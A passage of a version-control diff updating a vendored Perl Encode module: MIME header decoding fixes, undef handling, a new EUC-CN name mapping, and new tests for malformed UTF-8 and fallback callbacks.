@@ -16,18 +16,20 @@
     bpl      => 75,      # bytes per line
 );
 
-$Encode::Encoding{'MIME-Header'} = bless {
+my @objs;
+
+push @objs, bless {
     %seed,
     Name     => 'MIME-Header',
 } => __PACKAGE__;
 
-$Encode::Encoding{'MIME-B'} = bless {
+push @objs, bless {
     %seed,
     decode_q => 0,
     Name     => 'MIME-B',
 } => __PACKAGE__;
 
-$Encode::Encoding{'MIME-Q'} = bless {
+push @objs, bless {
     %seed,
     decode_b => 0,
     encode   => 'Q',
@@ -34,6 +36,8 @@
     Name     => 'MIME-Q',
 } => __PACKAGE__;
 
+Encode::define_encoding($_, $_->{Name}) foreach @objs;
+
 use parent qw(Encode::Encoding);
 
 sub needs_lines { 1 }
@@ -52,7 +56,7 @@
 my $re_encoding_strict_b = qr/[Bb]/;
 my $re_encoding_strict_q = qr/[Qq]/;
 my $re_encoded_text_strict_b = qr/[0-9A-Za-z\+\/]*={0,2}/;
-my $re_encoded_text_strict_q = qr/(?:[^\?\s=]|=[0-9A-Fa-f]{2})*/;
+my $re_encoded_text_strict_q = qr/(?:[\x21-\x3C\x3E\x40-\x7E]|=[0-9A-Fa-f]{2})*/; # NOTE: first part are printable US-ASCII except ?, =, SPACE and TAB
 my $re_encoded_word_strict = qr/=\?$re_charset(?:\*$re_language)?\?(?:$re_encoding_strict_b\?$re_encoded_text_strict_b|$re_encoding_strict_q\?$re_encoded_text_strict_q)\?=/;
 my $re_capture_encoded_word_strict = qr/=\?($re_charset)((?:\*$re_language)?)\?($re_encoding_strict_b\?$re_encoded_text_strict_b|$re_encoding_strict_q\?$re_encoded_text_strict_q)\?=/;
 
@@ -74,6 +78,7 @@
 
 sub decode($$;$) {
     my ($obj, $str, $chk) = @_;
+    return undef unless defined $str;
 
     my $re_match_decode = $STRICT_DECODE ? $re_match_strict : $re_match;
     my $re_capture_decode = $STRICT_DECODE ? $re_capture_strict : $re_capture;
@@ -123,26 +128,26 @@
                 }
 
                 if ( not defined $enc ) {
-                    Carp::croak qq(Unknown charset "$charset") if not ref $chk and $chk & Encode::DIE_ON_ERR;
-                    Carp::carp qq(Unknown charset "$charset") if not ref $chk and $chk & Encode::WARN_ON_ERR;
-                    $stop = 1 if not ref $chk and $chk & Encode::RETURN_ON_ERR;
+                    Carp::croak qq(Unknown charset "$charset") if not ref $chk and $chk and $chk & Encode::DIE_ON_ERR;
+                    Carp::carp qq(Unknown charset "$charset") if not ref $chk and $chk and $chk & Encode::WARN_ON_ERR;
+                    $stop = 1 if not ref $chk and $chk and $chk & Encode::RETURN_ON_ERR;
                     $output .= ($output =~ /(?:\A|[ \t])$/ ? '' : ' ') . $orig unless $stop; # $orig mime word is separated by whitespace
                     $stop ? $orig : '';
                 } else {
                     if ( uc($mime_enc) eq 'B' and $obj->{decode_b} ) {
                         my $decoded = _decode_b($enc, $text, $chk);
-                        $stop = 1 if not defined $decoded and not ref $chk and $chk & Encode::RETURN_ON_ERR;
+                        $stop = 1 if not defined $decoded and not ref $chk and $chk and $chk & Encode::RETURN_ON_ERR;
                         $output .= (defined $decoded ? $decoded : $text) unless $stop;
                         $stop ? $orig : '';
                     } elsif ( uc($mime_enc) eq 'Q' and $obj->{decode_q} ) {
                         my $decoded = _decode_q($enc, $text, $chk);
-                        $stop = 1 if not defined $decoded and not ref $chk and $chk & Encode::RETURN_ON_ERR;
+                        $stop = 1 if not defined $decoded and not ref $chk and $chk and $chk & Encode::RETURN_ON_ERR;
                         $output .= (defined $decoded ? $decoded : $text) unless $stop;
                         $stop ? $orig : '';
                     } else {
-                        Carp::croak qq(MIME "$mime_enc" unsupported) if not ref $chk and $chk & Encode::DIE_ON_ERR;
-                        Carp::carp qq(MIME "$mime_enc" unsupported) if not ref $chk and $chk & Encode::WARN_ON_ERR;
-                        $stop = 1 if not ref $chk and $chk & Encode::RETURN_ON_ERR;
+                        Carp::croak qq(MIME "$mime_enc" unsupported) if not ref $chk and $chk and $chk & Encode::DIE_ON_ERR;
+                        Carp::carp qq(MIME "$mime_enc" unsupported) if not ref $chk and $chk and $chk & Encode::WARN_ON_ERR;
+                        $stop = 1 if not ref $chk and $chk and $chk & Encode::RETURN_ON_ERR;
                         $output .= ($output =~ /(?:\A|[ \t])$/ ? '' : ' ') . $orig unless $stop; # $orig mime word is separated by whitespace
                         $stop ? $orig : '';
                     }
@@ -193,8 +198,8 @@
 
 sub _decode_octets {
     my ($enc, $octets, $chk) = @_;
+    $chk = 0 unless defined $chk;
     $chk &= ~Encode::LEAVE_SRC if not ref $chk and $chk;
-    local $Carp::CarpLevel = $Carp::CarpLevel + 1; # propagate Carp messages back to caller
     my $output = $enc->decode($octets, $chk);
     return undef if not ref $chk and $chk and $octets ne '';
     return $output;
@@ -202,6 +207,7 @@
 
 sub encode($$;$) {
     my ($obj, $str, $chk) = @_;
+    return undef unless defined $str;
     my $output = $obj->_fold_line($obj->_encode_string($str, $chk));
     $_[1] = $str if not ref $chk and $chk and !($chk & Encode::LEAVE_SRC);
     return $output . substr($str, 0, 0); # to propagate taintedness
@@ -233,15 +239,13 @@
     my ($obj, $str, $chk) = @_;
     my $wordlen = $obj->{bpl} > 76 ? 76 : $obj->{bpl};
     my $enc = Encode::find_mime_encoding($obj->{charset});
-    my $enc_chk = (not ref $chk and $chk) ? ($chk | Encode::LEAVE_SRC) : $chk;
+    my $enc_chk = $chk;
+    $enc_chk = 0 unless defined $enc_chk;
+    $enc_chk |= Encode::LEAVE_SRC if not ref $enc_chk and $enc_chk;
     my @result = ();
     my $octets = '';
     while ( length( my $chr = substr($str, 0, 1, '') ) ) {
-        my $seq;
-        {
-            local $Carp::CarpLevel = $Carp::CarpLevel + 1; # propagate Carp messages back to caller
-            $seq = $enc->encode($chr, $enc_chk);
-        }
+        my $seq = $enc->encode($chr, $enc_chk);
         if ( not length($seq) ) {
             substr($str, 0, 0, $chr);
             last;

Modified: vendor/perl/dist/cpan/Encode/lib/Encode/MIME/Name.pm
===================================================================
--- vendor/perl/dist/cpan/Encode/lib/Encode/MIME/Name.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/lib/Encode/MIME/Name.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 package Encode::MIME::Name;
 use strict;
 use warnings;
-our $VERSION = do { my @r = ( q$Revision: 1.2 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r };
+our $VERSION = do { my @r = ( q$Revision: 1.3 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r };
 
 # NOTE: This table must be 1:1 mapping
 our %MIME_NAME_OF = (
@@ -38,6 +38,7 @@
     'cp866'                 => 'IBM866',
     'cp869'                 => 'IBM869',
     'cp936'                 => 'GBK',
+    'euc-cn'                => 'EUC-CN',
     'euc-jp'                => 'EUC-JP',
     'euc-kr'                => 'EUC-KR',
     #'gb2312-raw'            => 'GB2312', # no, you're wrong, I18N::Charset

Modified: vendor/perl/dist/cpan/Encode/lib/Encode/Unicode/UTF7.pm
===================================================================
--- vendor/perl/dist/cpan/Encode/lib/Encode/Unicode/UTF7.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/lib/Encode/Unicode/UTF7.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,15 +1,14 @@
 #
-# $Id: UTF7.pm,v 2.8 2013/09/14 07:51:59 dankogai Exp $
+# $Id: UTF7.pm,v 2.10 2017/06/10 17:23:50 dankogai Exp $
 #
 package Encode::Unicode::UTF7;
 use strict;
 use warnings;
-no warnings 'redefine';
 use parent qw(Encode::Encoding);
 __PACKAGE__->Define('UTF-7');
-our $VERSION = do { my @r = ( q$Revision: 2.8 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r };
+our $VERSION = do { my @r = ( q$Revision: 2.10 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r };
 use MIME::Base64;
-use Encode;
+use Encode qw(find_encoding);
 
 #
 # Algorithms taken from Unicode::String by Gisle Aas
@@ -30,6 +29,7 @@
 
 sub encode($$;$) {
     my ( $obj, $str, $chk ) = @_;
+    return undef unless defined $str;
     my $len = length($str);
     pos($str) = 0;
     my $bytes = substr($str, 0, 0); # to propagate taintedness
@@ -61,6 +61,7 @@
 sub decode($$;$) {
     use re 'taint';
     my ( $obj, $bytes, $chk ) = @_;
+    return undef unless defined $bytes;
     my $len = length($bytes);
     my $str = substr($bytes, 0, 0); # to propagate taintedness;
     pos($bytes) = 0;

Modified: vendor/perl/dist/cpan/Encode/t/CJKT.t
===================================================================
--- vendor/perl/dist/cpan/Encode/t/CJKT.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/t/CJKT.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -57,8 +57,7 @@
     $txt = join('',<$src>);
     close($src);
     
-    eval{ $uni = $transcoder->decode($txt, 1) }; 
-    $@ and print $@;
+    eval { $uni = $transcoder->decode($txt, 1) } or print $@;
     ok(defined($uni),  "decode $charset"); $seq++;
     is(length($txt),0, "decode $charset completely"); $seq++;
     
@@ -89,8 +88,7 @@
     close $src;
 
     my $unisave = $uni;
-    eval{ $txt = $transcoder->encode($uni,1) };    
-    $@ and print $@;
+    eval { $txt = $transcoder->encode($uni,1) } or print $@;
     ok(defined($txt),   "encode $charset"); $seq++;
     is(length($uni), 0, "encode $charset completely");  $seq++;
     $uni = $unisave;

Modified: vendor/perl/dist/cpan/Encode/t/decode.t
===================================================================
--- vendor/perl/dist/cpan/Encode/t/decode.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/t/decode.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,11 +1,13 @@
 #
-# $Id: decode.t,v 1.3 2016/10/28 05:03:52 dankogai Exp $
+# $Id: decode.t,v 1.4 2017/10/06 22:21:53 dankogai Exp $
 #
 use strict;
 use Encode qw(decode_utf8 FB_CROAK find_encoding decode);
 use Test::More tests => 17;
+use Test::Builder;
 
 sub croak_ok(&) {
+    local $Test::Builder::Level = $Test::Builder::Level + 1;
     my $code = shift;
     eval { $code->() };
     like $@, qr/does not map/;

Modified: vendor/perl/dist/cpan/Encode/t/enc_data.t
===================================================================
--- vendor/perl/dist/cpan/Encode/t/enc_data.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/t/enc_data.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,4 @@
-# $Id: enc_data.t,v 2.5 2016/11/29 23:29:23 dankogai Exp dankogai $
+# $Id: enc_data.t,v 2.5 2016/11/29 23:29:23 dankogai Exp $
 
 BEGIN {
     require Config; import Config;

Modified: vendor/perl/dist/cpan/Encode/t/enc_eucjp.t
===================================================================
--- vendor/perl/dist/cpan/Encode/t/enc_eucjp.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/t/enc_eucjp.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,4 @@
-# $Id: enc_eucjp.t,v 2.3 2016/08/10 18:08:45 dankogai Exp $
+# $Id: enc_eucjp.t,v 2.5 2017/06/10 17:23:50 dankogai Exp $
 # This is the twin of enc_utf8.t .
 
 BEGIN {
@@ -19,8 +19,8 @@
     print "1..0 # Skip: Perl 5.8.1 or later required\n";
     exit 0;
     }
-    if ($] >= 5.025003){
-    print "1..0 # Skip: Perl 5.25.2 or lower required\n";
+    if ($] >= 5.025003 and !$Config{usecperl}){
+    print "1..0 # Skip: Perl <=5.25.2 or cperl required\n";
     exit 0;
     }
 }
@@ -30,7 +30,7 @@
 
 my @c = (127, 128, 255, 256);
 
-print "1.." . (scalar @c + 1) . "\n";
+print "1.." . (scalar @c + 2) . "\n";
 
 my @f;
 
@@ -65,7 +65,7 @@
 print F chr(128); # Output illegal UTF-8.
 close F;
 open(F, $f) or die "$0: failed to open '$f' for reading: $!";
-binmode(F, ":encoding(utf-8)");
+binmode(F, ":encoding(UTF-8)");
 {
     local $^W = 1;
     local $SIG{__WARN__} = sub { $a = shift };
@@ -72,8 +72,21 @@
     eval { <F> }; # This should get caught.
 }
 close F;
+print $a =~ qr{^UTF-8 "\\x80" does not map to Unicode} ?
+  "ok $t - illegal UTF-8 input\n" : "not ok $t - illegal UTF-8 input: a = " . unpack("H*", $a) . "\n";
+$t++;
+
+open(F, $f) or die "$0: failed to open '$f' for reading: $!";
+binmode(F, ":encoding(utf8)");
+{
+    local $^W = 1;
+    local $SIG{__WARN__} = sub { $a = shift };
+    eval { <F> }; # This should get caught.
+}
+close F;
 print $a =~ qr{^utf8 "\\x80" does not map to Unicode} ?
   "ok $t - illegal utf8 input\n" : "not ok $t - illegal utf8 input: a = " . unpack("H*", $a) . "\n";
+$t++;
 
 # On VMS temporary file names like "f0." may be more readable than "f0" since
 # "f0" could be a logical name pointing elsewhere.

Modified: vendor/perl/dist/cpan/Encode/t/enc_module.t
===================================================================
--- vendor/perl/dist/cpan/Encode/t/enc_module.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/t/enc_module.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,4 @@
-# $Id: enc_module.t,v 2.5 2016/11/29 23:29:23 dankogai Exp dankogai $
+# $Id: enc_module.t,v 2.5 2016/11/29 23:29:23 dankogai Exp $
 # This file is in euc-jp
 BEGIN {
     require Config; import Config;

Modified: vendor/perl/dist/cpan/Encode/t/enc_utf8.t
===================================================================
--- vendor/perl/dist/cpan/Encode/t/enc_utf8.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/t/enc_utf8.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,4 @@
-# $Id: enc_utf8.t,v 2.3 2016/08/10 18:08:45 dankogai Exp $
+# $Id: enc_utf8.t,v 2.5 2017/06/10 17:23:50 dankogai Exp $
 # This is the twin of enc_eucjp.t .
 
 BEGIN {
@@ -15,8 +15,8 @@
     print "1..0 # encoding pragma does not support EBCDIC platforms\n";
     exit(0);
     }
-    if ($] >= 5.025003){
-    print "1..0 # Skip: Perl 5.25.2 or lower required\n";
+    if ($] >= 5.025003 and !$Config{usecperl}){
+    print "1..0 # Skip: Perl <=5.25.2 or cperl required\n";
     exit 0;
     }
 }
@@ -26,7 +26,7 @@
 
 my @c = (127, 128, 255, 256);
 
-print "1.." . (scalar @c + 1) . "\n";
+print "1.." . (scalar @c + 2) . "\n";
 
 my @f;
 
@@ -59,7 +59,7 @@
 print F chr(128); # Output illegal UTF-8.
 close F;
 open(F, $f) or die "$0: failed to open '$f' for reading: $!";
-binmode(F, ":encoding(utf-8)");
+binmode(F, ":encoding(UTF-8)");
 {
     local $^W = 1;
     local $SIG{__WARN__} = sub { $a = shift };
@@ -66,8 +66,21 @@
     eval { <F> }; # This should get caught.
 }
 close F;
+print $a =~ qr{^UTF-8 "\\x80" does not map to Unicode} ?
+  "ok $t - illegal UTF-8 input\n" : "not ok $t - illegal UTF-8 input: a = " . unpack("H*", $a) . "\n";
+$t++;
+
+open(F, $f) or die "$0: failed to open '$f' for reading: $!";
+binmode(F, ":encoding(utf8)");
+{
+    local $^W = 1;
+    local $SIG{__WARN__} = sub { $a = shift };
+    eval { <F> }; # This should get caught.
+}
+close F;
 print $a =~ qr{^utf8 "\\x80" does not map to Unicode} ?
   "ok $t - illegal utf8 input\n" : "not ok $t - illegal utf8 input: a = " . unpack("H*", $a) . "\n";
+$t++;
 
 # On VMS temporary file names like "f0." may be more readable than "f0" since
 # "f0" could be a logical name pointing elsewhere.

Modified: vendor/perl/dist/cpan/Encode/t/fallback.t
===================================================================
--- vendor/perl/dist/cpan/Encode/t/fallback.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/t/fallback.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -17,7 +17,7 @@
 
 use strict;
 #use Test::More qw(no_plan);
-use Test::More tests => 50;
+use Test::More tests => 58;
 use Encode q(:all);
 
 my $uo = '';
@@ -35,7 +35,7 @@
     $uo   .= chr($i);
     $residue    .= chr($i);
     $af .= '?';
-    $uf .= "\x{FFFD}" if $i < 0xfd;
+    $uf .= "\x{FFFD}";
     $ap .= sprintf("\\x{%04x}", $i);
     $up .= sprintf("\\x%02X", $i);
     $ah .= sprintf("&#%d;", $i);
@@ -50,6 +50,7 @@
 utf8::upgrade($uo);
 
 my $ascii  = find_encoding('ascii');
+my $latin1 = find_encoding('latin1');
 my $utf8   = find_encoding('utf8');
 
 my $src = $uo;
@@ -166,19 +167,46 @@
 
 $src = "\x{3000}";
 $dst = $ascii->encode($src, sub{ $_[0] });
-is $dst, 0x3000."", qq{$ascii->encode(\$src, sub{ \$_[0] } )};
+is $dst, 0x3000."", q{$ascii->encode($src, sub{ $_[0] } )};
 $dst = encode("ascii", "\x{3000}", sub{ $_[0] });
-is $dst, 0x3000."", qq{encode("ascii", "\\x{3000}", sub{ \$_[0] })};
+is $dst, 0x3000."", q{encode("ascii", "\x{3000}", sub{ $_[0] })};
 
 $src = pack "C*", 0xFF;
 $dst = $ascii->decode($src, sub{ $_[0] });
-is $dst, 0xFF."", qq{$ascii->encode(\$src, sub{ \$_[0] } )};
+is $dst, 0xFF."", q{$ascii->encode($src, sub{ $_[0] } )};
 $dst = decode("ascii", (pack "C*", 0xFF), sub{ $_[0] });
-is $dst, 0xFF."", qq{decode("ascii", (pack "C*", 0xFF), sub{ \$_[0] })};
+is $dst, 0xFF."", q{decode("ascii", (pack "C*", 0xFF), sub{ $_[0] })};
 
 
 $src = pack "C*", 0x80;
 $dst = $utf8->decode($src, sub{ $_[0] });
-is $dst, 0x80."", qq{$utf8->encode(\$src, sub{ \$_[0] } )};
+is $dst, 0x80."", q{$utf8->encode($src, sub{ $_[0] } )};
 $dst = decode("utf8", $src, sub{ $_[0] });
-is $dst, 0x80."", qq{decode("utf8", (pack "C*", 0x80), sub{ \$_[0] })};
+is $dst, 0x80."", q{decode("utf8", (pack "C*", 0x80), sub{ $_[0] })};
+
+$src = "\x{3000}";
+$dst = $latin1->encode($src, sub { "\N{U+FF}" });
+is $dst, "\x{ff}", q{$latin1->encode($src, sub { "\N{U+FF}" })};
+$dst = encode("latin1", $src, sub { "\N{U+FF}" });
+is $dst, "\x{ff}", q{encode("latin1", $src, sub { "\N{U+FF}" })};
+
+$src = "\x{3000}";
+$dst = $latin1->encode($src, sub { utf8::upgrade(my $r = "\x{ff}"); $r });
+is $dst, "\x{ff}", q{$latin1->encode($src, sub { utf8::upgrade(my $r = "\x{ff}"); $r })};
+$dst = encode("latin1", $src, sub { utf8::upgrade(my $r = "\x{ff}"); $r });
+is $dst, "\x{ff}", q{encode("latin1", $src, sub { utf8::upgrade(my $r = "\x{ff}"); $r })};
+
+$src = "\x{ff}";
+$dst = $utf8->decode($src, sub { chr($_[0]) });
+is $dst, "\x{ff}", q{$utf8->decode($src, sub { chr($_[0]) })};
+$dst = decode("utf8", $src, sub { chr($_[0]) });
+is $dst, "\x{ff}", q{decode("utf8", $src, sub { chr($_[0]) })};
+
+{
+    use charnames ':full';
+    $src = "\x{ff}";
+    $dst = $utf8->decode($src, sub { utf8::downgrade(my $r = "\N{LATIN SMALL LETTER Y WITH DIAERESIS}"); $r });
+    is $dst, "\N{LATIN SMALL LETTER Y WITH DIAERESIS}", q{$utf8->decode($src, sub { utf8::downgrade(my $r = "\N{LATIN SMALL LETTER Y WITH DIAERESIS}"); $r })};
+    $dst = decode("utf8", $src, sub { utf8::downgrade(my $r = "\N{LATIN SMALL LETTER Y WITH DIAERESIS}"); $r });
+    is $dst, "\N{LATIN SMALL LETTER Y WITH DIAERESIS}", q{decode("utf8", $src, sub { utf8::downgrade(my $r = "\N{LATIN SMALL LETTER Y WITH DIAERESIS}"); $r })};
+}

Modified: vendor/perl/dist/cpan/Encode/t/guess.t
===================================================================
--- vendor/perl/dist/cpan/Encode/t/guess.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/t/guess.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -18,11 +18,7 @@
 
 #use Test::More qw(no_plan);
 use Test::More tests => 32;
-use_ok("Encode::Guess");
-{
-    no warnings;
-    $Encode::Guess::DEBUG = shift || 0;
-}
+BEGIN { use_ok("Encode::Guess") }
 
 my $ascii  = join('' => map {chr($_)}(0x21..0x7e));
 my $latin1 = join('' => map {chr($_)}(0xa1..0xfe));

Modified: vendor/perl/dist/cpan/Encode/t/jperl.t
===================================================================
--- vendor/perl/dist/cpan/Encode/t/jperl.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/t/jperl.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 #
-# $Id: jperl.t,v 2.5 2016/11/29 23:29:23 dankogai Exp dankogai $
+# $Id: jperl.t,v 2.5 2016/11/29 23:29:23 dankogai Exp $
 #
 # This script is written in euc-jp
 

Modified: vendor/perl/dist/cpan/Encode/t/mime-header.t
===================================================================
--- vendor/perl/dist/cpan/Encode/t/mime-header.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/t/mime-header.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 #
-# $Id: mime-header.t,v 2.14 2016/11/29 23:29:23 dankogai Exp dankogai $
+# $Id: mime-header.t,v 2.15 2017/07/18 07:15:29 dankogai Exp $
 # This script is written in utf8
 #
 BEGIN {
@@ -24,7 +24,7 @@
 use utf8;
 use charnames ":full";
 
-use Test::More tests => 264;
+use Test::More tests => 266;
 
 BEGIN {
     use_ok("Encode::MIME::Header");
@@ -136,6 +136,8 @@
     "=?utf8?Q?=C3=A1=f9=80=80=80=80?=" => "á�",
     "=?UTF8?Q?=C3=A1=f9=80=80=80=80?=" => "á�",
     "=?utf-8-strict?Q?=C3=A1=f9=80=80=80=80?=" => "á�",
+    # allow non-ASCII characters in q word
+    "=?UTF-8?Q?\x{C3}\x{A1}?=" => "á",
 );
 
 my @decode_strict_tests = (
@@ -155,6 +157,8 @@
     "=?utf8?Q?=C3=A1?=" => "=?utf8?Q?=C3=A1?=",
     "=?UTF8?Q?=C3=A1?=" => "=?UTF8?Q?=C3=A1?=",
     "=?utf-8-strict?Q?=C3=A1?=" => "=?utf-8-strict?Q?=C3=A1?=",
+    # do not allow non-ASCII characters in q word
+    "=?UTF-8?Q?\x{C3}\x{A1}?=" => "=?UTF-8?Q?\x{C3}\x{A1}?=",
 );
 
 my @encode_tests = (

Modified: vendor/perl/dist/cpan/Encode/t/mime-name.t
===================================================================
--- vendor/perl/dist/cpan/Encode/t/mime-name.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Encode/t/mime-name.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 #
-# $Id: mime-name.t,v 1.2 2016/10/28 05:03:52 dankogai Exp $
+# $Id: mime-name.t,v 1.3 2017/10/06 22:21:53 dankogai Exp $
 # This script is written in utf8
 #
 BEGIN {
@@ -23,7 +23,7 @@
 use warnings;
 use Encode;
 #use Test::More qw(no_plan);
-use Test::More tests => 277;
+use Test::More tests => 281;
 
 BEGIN {
     use_ok("Encode::MIME::Name");

Added: vendor/perl/dist/cpan/Encode/t/truncated_utf8.t
===================================================================
--- vendor/perl/dist/cpan/Encode/t/truncated_utf8.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Encode/t/truncated_utf8.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,55 @@
+BEGIN {
+    if ($ENV{'PERL_CORE'}) {
+        chdir 't';
+        unshift @INC, '../lib';
+    }
+    require Config; import Config;
+    if ($Config{'extensions'} !~ /\bEncode\b/) {
+      print "1..0 # Skip: Encode was not built\n";
+      exit 0;
+    }
+    if (ord("A") == 193) {
+      print "1..0 # Skip: EBCDIC\n";
+      exit 0;
+    }
+    $| = 1;
+}
+
+use strict;
+use warnings;
+
+use Encode;
+use PerlIO::encoding;
+$PerlIO::encoding::fallback &= ~(Encode::WARN_ON_ERR|Encode::PERLQQ);
+
+use Test::More tests => 9;
+
+binmode Test::More->builder->failure_output, ":utf8";
+binmode Test::More->builder->todo_output, ":utf8";
+
+is(decode("UTF-8", "\xfd\xfe"), "\x{fffd}" x 2);
+is(decode("UTF-8", "\xfd\xfe\xff"), "\x{fffd}" x 3);
+is(decode("UTF-8", "\xfd\xfe\xff\xe0"), "\x{fffd}" x 4);
+is(decode("UTF-8", "\xfd\xfe\xff\xe0\xe1"), "\x{fffd}" x 5);
+is(decode("UTF-8", "\xc1\x9f"), "\x{fffd}");
+is(decode("UTF-8", "\xFF\x80\x90\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80"), "\x{fffd}");
+is(decode("UTF-8", "\xF0\x80\x80\x80"), "\x{fffd}");
+
+SKIP: {
+    # infinite loop due to bug: https://rt.perl.org/Public/Bug/Display.html?id=41442
+    skip "Perl Version ($]) is older than v5.8.9", 2 if $] < 5.008009;
+    my $str = ("x" x 1023) . "\xfd\xfe\xffx";
+    open my $fh, '<:encoding(UTF-8)', \$str;
+    my $str2 = <$fh>;
+    close $fh;
+    is($str2, ("x" x 1023) . ("\x{fffd}" x 3) . "x");
+
+    TODO: {
+        local $TODO = "bug in perlio" if $] < 5.027009;
+        my $str = ("x" x 1023) . "\xfd\xfe\xff";
+        open my $fh, '<:encoding(UTF-8)', \$str;
+        my $str2 = <$fh>;
+        close $fh;
+        is($str2, ("x" x 1023) . ("\x{fffd}" x 3));
+    }
+}

Added: vendor/perl/dist/cpan/Encode/t/undef.t
===================================================================
--- vendor/perl/dist/cpan/Encode/t/undef.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Encode/t/undef.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,25 @@
+use strict;
+use warnings FATAL => 'all';
+
+use Test::More;
+
+use Encode qw(encode decode find_encoding);
+use Encode::Encoder qw(encoder);
+
+local %Encode::ExtModule = %Encode::Config::ExtModule;
+
+my @names = Encode->encodings(':all');
+
+plan tests => 1 + 4 * @names;
+
+my $emptyutf8;
+eval { my $c = encoder($emptyutf8)->utf8; };
+ok(!$@,"crashed encoding undef variable ($@)");
+
+for my $name (@names) {
+    my $enc = find_encoding($name);
+    is($enc->encode(undef), undef, "find_encoding('$name')->encode(undef) returns undef");
+    is($enc->decode(undef), undef, "find_encoding('$name')->decode(undef) returns undef");
+    is(encode($name, undef), undef, "encode('$name', undef) returns undef");
+    is(decode($name, undef), undef, "decode('$name', undef) returns undef");
+}

Added: vendor/perl/dist/cpan/Encode/t/use-Encode-Alias.t
===================================================================
--- vendor/perl/dist/cpan/Encode/t/use-Encode-Alias.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Encode/t/use-Encode-Alias.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,8 @@
+use strict;
+use warnings;
+
+use Encode::Alias;
+use open ":std", ":locale";
+
+print "1..1\n";
+print "ok 1 - use Encode::Alias works\n";

Added: vendor/perl/dist/cpan/Encode/t/utf8messages.t
===================================================================
--- vendor/perl/dist/cpan/Encode/t/utf8messages.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Encode/t/utf8messages.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,33 @@
+use strict;
+use warnings;
+BEGIN { 'warnings'->unimport('utf8') if $] < 5.014 }; # turn off 'UTF-16 surrogate 0xd800' warnings
+
+use Test::More;
+use Encode qw(encode decode FB_CROAK LEAVE_SRC);
+
+plan tests => 12;
+
+my @invalid;
+
+ok ! defined eval { encode('UTF-8', "\x{D800}", FB_CROAK | LEAVE_SRC) }, 'Surrogate codepoint \x{D800} is not encoded to strict UTF-8';
+like $@, qr/^"\\x\{d800\}" does not map to UTF-8 /, 'Error message contains strict UTF-8 name';
+ at invalid = ();
+encode('UTF-8', "\x{D800}", sub { @invalid = @_; return ""; });
+is_deeply \@invalid, [ 0xD800 ], 'Fallback coderef contains invalid codepoint 0xD800';
+
+ok ! defined eval { decode('UTF-8', "\xed\xa0\x80", FB_CROAK | LEAVE_SRC) }, 'Surrogate UTF-8 byte sequence \xED\xA0\x80 is decoded with strict UTF-8 decoder';
+like $@, qr/^UTF-8 "\\xED\\xA0\\x80" does not map to Unicode /, 'Error message contains strict UTF-8 name and original (not decoded) invalid sequence';
+ at invalid = ();
+decode('UTF-8', "\xed\xa0\x80", sub { @invalid = @_; return ""; });
+is_deeply \@invalid, [ 0xED, 0xA0, 0x80 ], 'Fallback coderef contains invalid byte sequence 0xED, 0xA0, 0x80';
+
+ok ! defined eval { decode('UTF-8', "\xed\xa0", FB_CROAK | LEAVE_SRC) }, 'Invalid byte sequence \xED\xA0 is not decoded with strict UTF-8 decoder';
+like $@, qr/^UTF-8 "\\xED\\xA0" does not map to Unicode /, 'Error message contains strict UTF-8 name and original (not decoded) invalid sequence';
+ at invalid = ();
+decode('UTF-8', "\xed\xa0", sub { @invalid = @_; return ""; });
+is_deeply \@invalid, [ 0xED, 0xA0 ], 'Fallback coderef contains invalid byte sequence 0xED, 0xA0';
+
+ok ! defined eval { decode('utf8', "\xed\xa0", FB_CROAK | LEAVE_SRC) }, 'Invalid byte sequence \xED\xA0 is not decoded with non-strict utf8 decoder';
+like $@, qr/^utf8 "\\xED\\xA0" does not map to Unicode /, 'Error message contains non-strict utf8 name and original (not decoded) invalid sequence';
+decode('utf8', "\xed\xa0", sub { @invalid = @_; return ""; });
